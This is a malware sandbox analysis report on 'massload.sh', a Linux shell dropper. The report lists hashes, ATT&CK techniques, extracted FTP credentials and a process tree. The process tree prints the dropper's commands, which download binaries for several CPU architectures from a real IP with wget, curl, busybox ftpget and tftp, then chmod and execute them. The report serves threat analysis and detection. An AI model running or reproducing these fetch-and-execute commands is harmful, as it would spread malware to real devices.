b46e0f56ac76e1b12f03fd1e13fa3f61acfd40e974f5aa031c969aec6a6309e4

Analysis

max time kernel
97s
max time network
129s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
14/07/2026, 07:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
massload.sh
Size 2KB
Sample260714-jdajwsbs8x
SHA256 b46e0f56ac76e1b12f03fd1e13fa3f61acfd40e974f5aa031c969aec6a6309e4
MD5 0b980fe13f76c70f5f35ff9eb51cb476
SHA1 7f130c9bbf06d9d00eb3e871d49c93eb66b99f70
SHA512 a84e52432847212ac76dcfadc90d3eab625c50429434281dd7981a70751db9c51c92da58855be7b073c7bdb10fc7b95b2801b84f59181f137efb1708353aae62
TLSH
T1F351C6F8A9A397F39FD9CF4460615A19B40BAAC634B28EDC9C9E34F495BC484F830516
MD5 SHA1 SHA512 TLSH

Score

10^/10

credential_access defense_evasion discovery

Malware Config

Extracted

Credentials

Protocol
ftp
Host
205.237.110.232
Port
21
Username
anonymous
Password
busybox@

Signatures

File and Directory Permissions Modification 1 TTPs 21 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1804	chmod
1812	chmod
1840	chmod
1844	chmod
1873	chmod
1820	chmod
1828	chmod
1861	chmod
1883	chmod
1886	chmod
1824	chmod
1851	chmod
1869	chmod
1880	chmod
1889	chmod
1808	chmod
1816	chmod
1832	chmod
1836	chmod
1855	chmod
1865	chmod

Executes dropped EXE 20 IoCs

ioc	pid	Process
/dev/mips	1809	massload.sh
/dev/mpsl	1813	massload.sh
/dev/arm	1817	massload.sh
/dev/arm5	1821	massload.sh
/dev/arm7	1825	massload.sh
/dev/mips	1829	massload.sh
/dev/mpsl	1833	massload.sh
/dev/arm	1837	massload.sh
/dev/arm5	1841	massload.sh
/dev/arm7	1845	massload.sh
/dev/mips	1852	massload.sh
/dev/mpsl	1856	massload.sh
/dev/arm	1862	massload.sh
/dev/arm5	1866	massload.sh
/dev/arm7	1870	massload.sh
/dev/mips	1874	massload.sh
/dev/mpsl	1881	massload.sh
/dev/arm	1884	massload.sh
/dev/arm5	1887	massload.sh
/dev/arm7	1890	massload.sh

Enumerates running processes
Discovers information about currently running processes on the system

Reads process memory 1 TTPs 64 IoCs

Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

credential_access

Proc Filesystem

T1003.007

description	ioc	Process
File opened for reading	/proc/160/maps	massload.sh
File opened for reading	/proc/30/maps	massload.sh
File opened for reading	/proc/35/maps	massload.sh
File opened for reading	/proc/4/maps	massload.sh
File opened for reading	/proc/2/maps	massload.sh
File opened for reading	/proc/172/maps	massload.sh
File opened for reading	/proc/203/maps	massload.sh
File opened for reading	/proc/514/maps	massload.sh
File opened for reading	/proc/920/maps	massload.sh
File opened for reading	/proc/17/maps	massload.sh
File opened for reading	/proc/465/maps	massload.sh
File opened for reading	/proc/652/maps	massload.sh
File opened for reading	/proc/653/maps	massload.sh
File opened for reading	/proc/31/maps	massload.sh
File opened for reading	/proc/36/maps	massload.sh
File opened for reading	/proc/115/maps	massload.sh
File opened for reading	/proc/175/maps	massload.sh
File opened for reading	/proc/23/maps	massload.sh
File opened for reading	/proc/447/maps	massload.sh
File opened for reading	/proc/165/maps	massload.sh
File opened for reading	/proc/324/maps	massload.sh
File opened for reading	/proc/83/maps	massload.sh
File opened for reading	/proc/21/maps	massload.sh
File opened for reading	/proc/1/maps	massload.sh
File opened for reading	/proc/10/maps	massload.sh
File opened for reading	/proc/13/maps	massload.sh
File opened for reading	/proc/171/maps	massload.sh
File opened for reading	/proc/423/maps	massload.sh
File opened for reading	/proc/636/maps	massload.sh
File opened for reading	/proc/9/maps	massload.sh
File opened for reading	/proc/18/maps	massload.sh
File opened for reading	/proc/11/maps	massload.sh
File opened for reading	/proc/551/maps	massload.sh
File opened for reading	/proc/596/maps	massload.sh
File opened for reading	/proc/705/maps	massload.sh
File opened for reading	/proc/27/maps	massload.sh
File opened for reading	/proc/270/maps	massload.sh
File opened for reading	/proc/898/maps	massload.sh
File opened for reading	/proc/597/maps	massload.sh
File opened for reading	/proc/940/maps	massload.sh
File opened for reading	/proc/317/maps	massload.sh
File opened for reading	/proc/166/maps	massload.sh
File opened for reading	/proc/178/maps	massload.sh
File opened for reading	/proc/28/maps	massload.sh
File opened for reading	/proc/460/maps	massload.sh
File opened for reading	/proc/478/maps	massload.sh
File opened for reading	/proc/664/maps	massload.sh
File opened for reading	/proc/16/maps	massload.sh
File opened for reading	/proc/168/maps	massload.sh
File opened for reading	/proc/29/maps	massload.sh
File opened for reading	/proc/82/maps	massload.sh
File opened for reading	/proc/89/maps	massload.sh
File opened for reading	/proc/174/maps	massload.sh
File opened for reading	/proc/32/maps	massload.sh
File opened for reading	/proc/532/maps	massload.sh
File opened for reading	/proc/476/maps	massload.sh
File opened for reading	/proc/170/maps	massload.sh
File opened for reading	/proc/467/maps	massload.sh
File opened for reading	/proc/493/maps	massload.sh
File opened for reading	/proc/6/maps	massload.sh
File opened for reading	/proc/980/maps	massload.sh
File opened for reading	/proc/406/maps	massload.sh
File opened for reading	/proc/520/maps	massload.sh
File opened for reading	/proc/893/maps	massload.sh

Reads runtime system information 46 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1056/maps	massload.sh
File opened for reading	/proc/1318/maps	massload.sh
File opened for reading	/proc/1480/maps	massload.sh
File opened for reading	/proc/1080/maps	massload.sh
File opened for reading	/proc/1086/maps	massload.sh
File opened for reading	/proc/1164/maps	massload.sh
File opened for reading	/proc/1180/maps	massload.sh
File opened for reading	/proc/mounts	cat
File opened for reading	/proc/1023/maps	massload.sh
File opened for reading	/proc/1027/maps	massload.sh
File opened for reading	/proc/1036/maps	massload.sh
File opened for reading	/proc/1046/maps	massload.sh
File opened for reading	/proc/1067/maps	massload.sh
File opened for reading	/proc/1079/maps	massload.sh
File opened for reading	/proc/1373/maps	massload.sh
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/1118/maps	massload.sh
File opened for reading	/proc/1055/maps	massload.sh
File opened for reading	/proc/1061/maps	massload.sh
File opened for reading	/proc/1072/maps	massload.sh
File opened for reading	/proc/1450/maps	massload.sh
File opened for reading	/proc/1474/maps	massload.sh
File opened for reading	/proc/1004/maps	massload.sh
File opened for reading	/proc/1076/maps	massload.sh
File opened for reading	/proc/1084/maps	massload.sh
File opened for reading	/proc/1239/maps	massload.sh
File opened for reading	/proc/1003/maps	massload.sh
File opened for reading	/proc/1044/maps	massload.sh
File opened for reading	/proc/1292/maps	massload.sh
File opened for reading	/proc/1479/maps	massload.sh
File opened for reading	/proc/1482/maps	massload.sh
File opened for reading	/proc/1145/maps	massload.sh
File opened for reading	/proc/1019/maps	massload.sh
File opened for reading	/proc/1037/maps	massload.sh
File opened for reading	/proc/1041/maps	massload.sh
File opened for reading	/proc/1058/maps	massload.sh
File opened for reading	/proc/1081/maps	massload.sh
File opened for reading	/proc/1234/maps	massload.sh
File opened for reading	/proc/1299/maps	massload.sh
File opened for reading	/proc/1134/maps	massload.sh
File opened for reading	/proc/1015/maps	massload.sh
File opened for reading	/proc/1032/maps	massload.sh
File opened for reading	/proc/1151/maps	massload.sh
File opened for reading	/proc/1205/maps	massload.sh
File opened for reading	/proc/1478/maps	massload.sh
File opened for reading	/proc/1011/maps	massload.sh

System Network Configuration Discovery 1 TTPs 9 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1847	busybox
1874	mips
1806	rm
1827	curl
1852	mips
1872	busybox
1807	wget
1809	mips
1829	mips

/tmp/massload.sh
/tmp/massload.sh
1⤵
- Executes dropped EXE
- Reads process memory
- Reads runtime system information
PID:1482
- /usr/bin/cut
  cut -d " " -f 2
  2⤵
  PID:1802
- /bin/grep
  grep tmpfs
  2⤵
  PID:1799
- /bin/grep
  grep -v noexe
  2⤵
  PID:1801
- /bin/grep
  grep rw
  2⤵
  PID:1800
- /bin/cat
  cat /proc/mounts
  2⤵
  - Reads runtime system information
  PID:1798
- /bin/cp
  cp /bin/busybox //dev/.a
  2⤵
  - Reads runtime system information
  PID:1803
- /bin/chmod
  chmod 777 //dev/.a
  2⤵
  - File and Directory Permissions Modification
  PID:1804
- /bin/rm
  rm -rf .a
  2⤵
  PID:1805
- /bin/rm
  rm mips mpsl "arm*"
  2⤵
  - System Network Configuration Discovery
  PID:1806
- /usr/bin/wget
  wget http://205.237.110.232/mips
  2⤵
  - System Network Configuration Discovery
  PID:1807
- /bin/chmod
  chmod 777 mips
  2⤵
  - File and Directory Permissions Modification
  PID:1808
- /dev/mips
  ./mips massload
  2⤵
  - System Network Configuration Discovery
  PID:1809
- /usr/bin/wget
  wget http://205.237.110.232/mpsl
  2⤵
  PID:1811
- /bin/chmod
  chmod 777 mpsl
  2⤵
  - File and Directory Permissions Modification
  PID:1812
- /dev/mpsl
  ./mpsl massload
  2⤵
  PID:1813
- /usr/bin/wget
  wget http://205.237.110.232/arm
  2⤵
  PID:1815
- /bin/chmod
  chmod 777 arm
  2⤵
  - File and Directory Permissions Modification
  PID:1816
- /dev/arm
  ./arm massload
  2⤵
  PID:1817
- /usr/bin/wget
  wget http://205.237.110.232/arm5
  2⤵
  PID:1819
- /bin/chmod
  chmod 777 arm5
  2⤵
  - File and Directory Permissions Modification
  PID:1820
- /dev/arm5
  ./arm5 massload
  2⤵
  PID:1821
- /usr/bin/wget
  wget http://205.237.110.232/arm7
  2⤵
  PID:1823
- /bin/chmod
  chmod 777 arm7
  2⤵
  - File and Directory Permissions Modification
  PID:1824
- /dev/arm7
  ./arm7 massload
  2⤵
  PID:1825
- /usr/bin/curl
  curl --output mips http://205.237.110.232/mips
  2⤵
  - System Network Configuration Discovery
  PID:1827
- /bin/chmod
  chmod 777 mips
  2⤵
  - File and Directory Permissions Modification
  PID:1828
- /dev/mips
  ./mips massload
  2⤵
  - System Network Configuration Discovery
  PID:1829
- /usr/bin/curl
  curl --output mpsl http://205.237.110.232/mpsl
  2⤵
  PID:1831
- /bin/chmod
  chmod 777 mpsl
  2⤵
  - File and Directory Permissions Modification
  PID:1832
- /dev/mpsl
  ./mpsl massload
  2⤵
  PID:1833
- /usr/bin/curl
  curl --output arm http://205.237.110.232/arm
  2⤵
  PID:1835
- /bin/chmod
  chmod 777 arm
  2⤵
  - File and Directory Permissions Modification
  PID:1836
- /dev/arm
  ./arm massload
  2⤵
  PID:1837
- /usr/bin/curl
  curl --output arm5 http://205.237.110.232/arm5
  2⤵
  PID:1839
- /bin/chmod
  chmod 777 arm5
  2⤵
  - File and Directory Permissions Modification
  PID:1840
- /dev/arm5
  ./arm5 massload
  2⤵
  PID:1841
- /usr/bin/curl
  curl --output arm7 http://205.237.110.232/arm7
  2⤵
  PID:1843
- /bin/chmod
  chmod 777 arm7
  2⤵
  - File and Directory Permissions Modification
  PID:1844
- /dev/arm7
  ./arm7 massload
  2⤵
  PID:1845
- /bin/busybox
  busybox ftpget 205.237.110.232 mips mips
  2⤵
  - System Network Configuration Discovery
  PID:1847
- /bin/chmod
  chmod 777 mips
  2⤵
  - File and Directory Permissions Modification
  PID:1851
- /dev/mips
  ./mips massload
  2⤵
  - System Network Configuration Discovery
  PID:1852
- /bin/busybox
  busybox ftpget 205.237.110.232 mpsl mpsl
  2⤵
  PID:1854
- /bin/chmod
  chmod 777 mpsl
  2⤵
  - File and Directory Permissions Modification
  PID:1855
- /dev/mpsl
  ./mpsl massload
  2⤵
  PID:1856
- /bin/busybox
  busybox ftpget 205.237.110.232 arm arm
  2⤵
  PID:1858
- /bin/chmod
  chmod 777 arm
  2⤵
  - File and Directory Permissions Modification
  PID:1861
- /dev/arm
  ./arm massload
  2⤵
  PID:1862
- /bin/busybox
  busybox ftpget 205.237.110.232 arm5 arm5
  2⤵
  PID:1864
- /bin/chmod
  chmod 777 arm5
  2⤵
  - File and Directory Permissions Modification
  PID:1865
- /dev/arm5
  ./arm5 massload
  2⤵
  PID:1866
- /bin/busybox
  busybox ftpget 205.237.110.232 arm7 arm7
  2⤵
  PID:1868
- /bin/chmod
  chmod 777 arm7
  2⤵
  - File and Directory Permissions Modification
  PID:1869
- /dev/arm7
  ./arm7 massload
  2⤵
  PID:1870
- /bin/busybox
  busybox tftp -g -r mips 205.237.110.232 69
  2⤵
  - System Network Configuration Discovery
  PID:1872
- /bin/chmod
  chmod 777 mips
  2⤵
  - File and Directory Permissions Modification
  PID:1873
- /dev/mips
  ./mips massload
  2⤵
  - System Network Configuration Discovery
  PID:1874
- /bin/busybox
  busybox tftp -g -r mpsl 205.237.110.232 69
  2⤵
  PID:1875
- /bin/chmod
  chmod 777 mpsl
  2⤵
  - File and Directory Permissions Modification
  PID:1880
- /dev/mpsl
  ./mpsl massload
  2⤵
  PID:1881
- /bin/busybox
  busybox tftp -g -r arm 205.237.110.232 69
  2⤵
  PID:1882
- /bin/chmod
  chmod 777 arm
  2⤵
  - File and Directory Permissions Modification
  PID:1883
- /dev/arm
  ./arm massload
  2⤵
  PID:1884
- /bin/busybox
  busybox tftp -g -r arm5 205.237.110.232 69
  2⤵
  PID:1885
- /bin/chmod
  chmod 777 arm5
  2⤵
  - File and Directory Permissions Modification
  PID:1886
- /dev/arm5
  ./arm5 massload
  2⤵
  PID:1887
- /bin/busybox
  busybox tftp -g -r arm7 205.237.110.232 69
  2⤵
  PID:1888
- /bin/chmod
  chmod 777 arm7
  2⤵
  - File and Directory Permissions Modification
  PID:1889
- /dev/arm7
  ./arm7 massload
  2⤵
  PID:1890

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

OS Credential Dumping

T1003

Proc Filesystem

T1003.007

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Path /dev/.a
Size 2.0MB
SHA256 a9f0735d28f9a6a4f2634d3b144156f7b3df3b476a16a5ab0c7bdf98d74dd020
MD5 b4dede5fc0b1bad5cb8e901bde126b97
SHA1 10cbe9a418ad84a1ed297948539d37aeb58dd810
SHA512 45665ce3a42f63a01fdef517e0c4cb943efce64c8a32d3ce07ab4f1fafc23cda77f378d324342efc79dc9d2293c4b4454d06c1cf4997b9e866784de01cb546e6
SSDEEP 49152:YfQ1HrHIYLrf2uxW2kx7gRHdITdHR8MonrH1NqCgkR:WYfFVdIpGxz1E
TLSH
T1D8A57C16B2E320FCC597C13043AFD7626D75B4AA12317E7F35849A312E56EA02B1DB63
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm

Path /dev/arm
Size 117KB
SHA256 346a019bbcfc938bae9401e7addbf79ba23105f8981b4b9b361cdbf40e31fe6e
MD5 6e8632ab9d27e26458049a5a5e12e3a8
SHA1 86b0b1b444ffe527d28ca20f6cbf5013198d81c8
SHA512 5a049382cfe86d2f7dde29e6fab95dd0a9d6c5cc87fcb1aa79d3fb332c302138b59435988ab2c8b7f2d90f0492caee63d23b09f8d29347e5a4ef1514c547ad2d
SSDEEP 3072:jnREVsW6L1KD5IYciU5I7a5OyZHE7YPASVtcn+V:jnRE9EscioIgRZHgYPAS3V
TLSH
T1EDC31989B8929A22C6D316BFFA4F42CD773663E4E3DF7107DD195B21328641B0D6B211
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm5

Path /dev/arm5
Size 113KB
SHA256 256ee665e22263f3539374bd40beebe58ff854585cf60affaad519f45d972f8c
MD5 cc11cef16304e2d93129b45533deffff
SHA1 2a3d8f6b7eca3714bca407dd7351c5fa6fecc143
SHA512 240af68e521c07dce55dfe4b739d8cb7e44e4ab3ec7d53d857267b41cec3cbe16582c7ca76b34f1eaef8ba5372128e965a5502c0066cb92c0b81220f244ddf5b
SSDEEP 3072:gLLU/lW6pdDDzaqciU5I7a1SPfJMTWLK+cn+V:gLLUA+tcioIs8fJ3KGV
TLSH
T12EB30899B8D29A22C6D316BFFA4F428D773663E4E3DF7107DD155B21328742B0E6A201
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm7

Path /dev/arm7
Size 137KB
SHA256 112810a3395df487b7e2d2b27f88366c5889fecf726a1eae9042ead1bab561ed
MD5 9cc14e5273b272cbb69acc542b255248
SHA1 47fb7d31037a42b83621ea09f74e1f007ee90fdd
SHA512 dc37bc267f5c920937469a1def8598c7064cd63e09a5d853df6de4c2b9d7493e7150c5eac21e97bb96049014cc567dc4f60839b3f77173f440dcc6f9f1572e30
SSDEEP 3072:CFrOW08E1uGqI4w6A3I8c96TC/fZJvxayKaLaOru5QVr60KJeKqMn+Wq:CFrOEKxqdw3I8tTCZJxayKaLaOrCQFKQ
TLSH
T136D3068AF8819F21C4D616BEFA4F518D332367E8E3EE7112DD245B2477CA55B0A7B201
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mips

Path /dev/mips
Size 152KB
SHA256 d24d4356160ba56491bac687e5491f5eb6b63292d4ccaeb0bcae01209cf8323f
MD5 43efa7599e521e4a196e94f1f3176329
SHA1 f370314ccb4b61bfc3e2714d40e76af36c77a005
SHA512 230eca8000f49a8f3d4db84c20374257dd1956652ee89de02359d9e2694b3d2beee2b642164c973bfce74e7a70d2972c96067a1de86b8f3991054ffdc26e404d
SSDEEP 3072:cNgQfXka6/wRVnXzSn+DBedxnEgsCpsnlsJeWKyYdT/8JwYz04dDf6tEqT+8/Gzf:cNgQfXkl/6q+O5
TLSH
T114E3D50E6E394F6DF37AC335C7F74A209B68738626D1C649D26CF9121E2024D641FBA9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mpsl

Path /dev/mpsl
Size 155KB
SHA256 3b10366eeaccf23f6f4bb4dfe35148fe685be8345157b386381db65546396101
MD5 32a0761f66efad9e29da758f7cf1bec1
SHA1 1766fa2894b876dad5a9f95dbf2b9261dd09b452
SHA512 1e1c3f68c2967decdc07de9ad82a8ccea58ce8d97cead2b68aa6f66a2dec5971c16728e65c426c16298e5c0536ac7085cd4f8b5fe4955472aa7782591d1da0c2
SSDEEP 3072:BfVclpUd8m+Q29tGbYdBAtxitKxRfLcn+F:FapUT+Q2rGbY8txituF
TLSH
T183F3D717AF602EF7E8ABCC3791B9870924DC659B22942BB57534E424B64B44F46D3CF0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads